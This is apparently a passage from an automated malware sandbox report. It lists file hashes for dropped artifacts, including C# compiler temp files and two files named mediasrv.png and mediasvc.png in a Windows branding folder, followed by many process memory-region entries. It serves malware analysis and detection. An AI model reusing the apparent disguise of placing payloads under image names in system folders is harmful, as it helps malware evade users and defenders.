                                                                                  cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                                • \??\c:\Users\Admin\AppData\Local\Temp\nvz35czb\CSC99544D2CD3E145CBA66C6CC2C2D335F2.TMP

                                                                                  MD5

                                                                                  92bdd31c7c73efc5e92502a5164b9fc5

                                                                                  SHA1

                                                                                  7844f6325084e31ad2e972ea6d92a12b4feedd67

                                                                                  SHA256

                                                                                  ac821357f73034a079742d5c8a2eaa41c0d8ca798c0e5832a02c261d01b44947

                                                                                  SHA512

                                                                                  cb92b1107cc5fb49283ed68eb25ebc16ef00b9186c724dd86dc0c5fa3d5c8d729815bb0d31f37cbf832323fd83bae332fcd26abcbdf01e137de0a9473997be2b

                                                                                • \??\c:\Users\Admin\AppData\Local\Temp\nvz35czb\nvz35czb.0.cs

                                                                                  MD5

                                                                                  4864fc038c0b4d61f508d402317c6e9a

                                                                                  SHA1

                                                                                  72171db3eea76ecff3f7f173b0de0d277b0fede7

                                                                                  SHA256

                                                                                  0f5273b8fce9bfd95677be80b808119c048086f8e17b2e9f9964ae8971bd5a84

                                                                                  SHA512

                                                                                  9e59e8bee83e783f8054a3ba90910415edacfa63cc19e5ded9d4f21f7c3005ca48c63d85ce8523a5f7d176aa5f8abafc28f824c10dbfb254eed1ce6e5f55bf31

                                                                                • \??\c:\Users\Admin\AppData\Local\Temp\nvz35czb\nvz35czb.cmdline

                                                                                  MD5

                                                                                  29922c1527bb57bfde36e898642c274a

                                                                                  SHA1

                                                                                  78073a2b55e595f88389f71e33cc7534037f701e

                                                                                  SHA256

                                                                                  26b60038231ee9b2d4a01b13c3486b4cc3ce09098812d3e69425e7c1bf5a5fcc

                                                                                  SHA512

                                                                                  c178ace6ce48f030fd29c1fcc3b33afa716b39d2580da943b32d1f72ac54d371eef0e647fb0a8ab5d68112d555d613c21d2e6f16360042f1bb7817ca0b824d2b

                                                                                • \Windows\Branding\mediasrv.png

                                                                                  MD5

                                                                                  b110f38845e18a04ab59a7d8a134ef40

                                                                                  SHA1

                                                                                  8119030034e6fbe62d875e824b5233c1f29d61a0

                                                                                  SHA256

                                                                                  1cbd533a8cf6875e9b9bc60b11711b591bd30aac6377a11ee90c2735182414ea

                                                                                  SHA512

                                                                                  80eb80651141c2e00165f089700cc15eb3c5e5eee4ce4e91759e63f5230db8445bc3793c0f5fd259f98ce2939f19633fe7225db990e6574fd739f1d29cf7f223

                                                                                • \Windows\Branding\mediasvc.png

                                                                                  MD5

                                                                                  5768a809b9fcbff117dffa8cbf2e8852

                                                                                  SHA1

                                                                                  a056e76d15bc7509d0361175b2ae4ba348460cd6

                                                                                  SHA256

                                                                                  8ab19cdbe2b963c8bcf8cac6a11e003423ec91ffad88d885d550beb835e46094

                                                                                  SHA512

                                                                                  99d14d6b3c6cf2e872def0b5dd76ffd81d4c71b577bf5fa4700dbb524d5d26bf09d4ffab2dfc6d493303711b635669f35e7cfc90578e6cc2e2f251f422818b8b

                                                                                • memory/572-192-0x0000000000000000-mapping.dmp

                                                                                • memory/620-164-0x0000000000000000-mapping.dmp

                                                                                • memory/656-171-0x0000000000000000-mapping.dmp

                                                                                • memory/796-186-0x0000000000000000-mapping.dmp

                                                                                • memory/860-197-0x0000000000000000-mapping.dmp

                                                                                • memory/864-198-0x0000000000000000-mapping.dmp

                                                                                • memory/900-161-0x0000000000000000-mapping.dmp

                                                                                • memory/940-239-0x000000001944A000-0x0000000019469000-memory.dmp

                                                                                  Filesize

                                                                                  124KB

                                                                                • memory/940-208-0x0000000019440000-0x0000000019442000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/940-209-0x0000000019444000-0x0000000019446000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/940-202-0x0000000000000000-mapping.dmp

                                                                                • memory/944-172-0x0000000000000000-mapping.dmp

                                                                                • memory/1012-240-0x0000000000000000-mapping.dmp

                                                                                • memory/1032-168-0x0000000000000000-mapping.dmp

                                                                                • memory/1032-199-0x0000000000000000-mapping.dmp

                                                                                • memory/1040-241-0x0000000000000000-mapping.dmp

                                                                                • memory/1052-65-0x0000000000000000-mapping.dmp

                                                                                • memory/1052-158-0x000000001C850000-0x000000001C851000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1052-72-0x000000001ABC4000-0x000000001ABC6000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1052-71-0x000000001ABC0000-0x000000001ABC2000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1052-70-0x0000000001F50000-0x0000000001F51000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1052-69-0x0000000001E00000-0x0000000001E01000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1052-68-0x000000001AC40000-0x000000001AC41000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1052-67-0x0000000001F10000-0x0000000001F11000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1052-66-0x000007FEFB7B1000-0x000007FEFB7B3000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1052-86-0x00000000025D0000-0x00000000025D1000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1052-74-0x000000001B4F0000-0x000000001B4F1000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1052-85-0x000000001C270000-0x000000001C271000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1052-101-0x000000001ABCA000-0x000000001ABE9000-memory.dmp

                                                                                  Filesize

                                                                                  124KB

                                                                                • memory/1052-84-0x000000001B820000-0x000000001B821000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1052-82-0x00000000003C0000-0x00000000003C1000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1060-78-0x0000000000000000-mapping.dmp

                                                                                • memory/1060-163-0x0000000000000000-mapping.dmp

                                                                                • memory/1144-75-0x0000000000000000-mapping.dmp

                                                                                • memory/1260-180-0x0000000000000000-mapping.dmp

                                                                                • memory/1264-178-0x0000000000000000-mapping.dmp

                                                                                • memory/1300-170-0x0000000000000000-mapping.dmp

                                                                                • memory/1312-183-0x0000000000000000-mapping.dmp

                                                                                • memory/1312-162-0x0000000000000000-mapping.dmp

                                                                                • memory/1340-194-0x0000000000000000-mapping.dmp

                                                                                • memory/1344-200-0x0000000000000000-mapping.dmp

                                                                                • memory/1344-184-0x0000000000000000-mapping.dmp

                                                                                • memory/1360-99-0x000000001A900000-0x000000001A901000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1360-87-0x0000000000000000-mapping.dmp

                                                                                • memory/1360-93-0x00000000025E4000-0x00000000025E6000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1360-120-0x000000001BA40000-0x000000001BA41000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1360-95-0x0000000002590000-0x0000000002591000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1360-97-0x000000001B6B0000-0x000000001B6B1000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1360-119-0x000000001B740000-0x000000001B741000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1360-100-0x0000000002420000-0x0000000002421000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1360-92-0x00000000025E0000-0x00000000025E2000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1360-106-0x000000001BA00000-0x000000001BA01000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1372-127-0x000000001ABA4000-0x000000001ABA6000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1372-131-0x000000001AAF0000-0x000000001AAF1000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1372-129-0x0000000002590000-0x0000000002591000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1372-121-0x0000000000000000-mapping.dmp

                                                                                • memory/1372-133-0x000000001A950000-0x000000001A951000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1372-134-0x0000000002330000-0x0000000002331000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1372-126-0x000000001ABA0000-0x000000001ABA2000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1412-159-0x0000000000000000-mapping.dmp

                                                                                • memory/1496-185-0x0000000000000000-mapping.dmp

                                                                                • memory/1496-165-0x0000000000000000-mapping.dmp

                                                                                • memory/1524-176-0x0000000000000000-mapping.dmp

                                                                                • memory/1548-195-0x0000000000000000-mapping.dmp

                                                                                • memory/1552-189-0x0000000000000000-mapping.dmp

                                                                                • memory/1588-167-0x0000000000000000-mapping.dmp

                                                                                • memory/1596-174-0x0000000000000000-mapping.dmp

                                                                                • memory/1660-142-0x0000000000000000-mapping.dmp

                                                                                • memory/1660-149-0x000000001ABD0000-0x000000001ABD2000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1660-150-0x000000001ABD4000-0x000000001ABD6000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1664-191-0x0000000000000000-mapping.dmp

                                                                                • memory/1664-175-0x0000000000000000-mapping.dmp

                                                                                • memory/1696-179-0x0000000000000000-mapping.dmp

                                                                                • memory/1764-243-0x0000000000000000-mapping.dmp

                                                                                • memory/1772-242-0x0000000000000000-mapping.dmp

                                                                                • memory/1784-201-0x0000000000000000-mapping.dmp

                                                                                • memory/1784-169-0x0000000000000000-mapping.dmp

                                                                                • memory/1864-166-0x0000000000000000-mapping.dmp

                                                                                • memory/1892-245-0x0000000000000000-mapping.dmp

                                                                                • memory/1916-188-0x0000000000000000-mapping.dmp

                                                                                • memory/1964-244-0x0000000000000000-mapping.dmp

                                                                                • memory/1988-64-0x00000000411B7000-0x00000000411B8000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1988-61-0x00000000411B2000-0x00000000411B4000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1988-63-0x00000000411B6000-0x00000000411B7000-memory.dmp

                                                                                  Filesize

                                                                                  4KB

                                                                                • memory/1988-62-0x00000000411B4000-0x00000000411B6000-memory.dmp

                                                                                  Filesize

                                                                                  8KB

                                                                                • memory/1988-59-0x0000000041650000-0x0000000041A70000-memory.dmp

                                                                                  Filesize

                                                                                  4.1MB

                                                                                • memory/2032-177-0x0000000000000000-mapping.dmp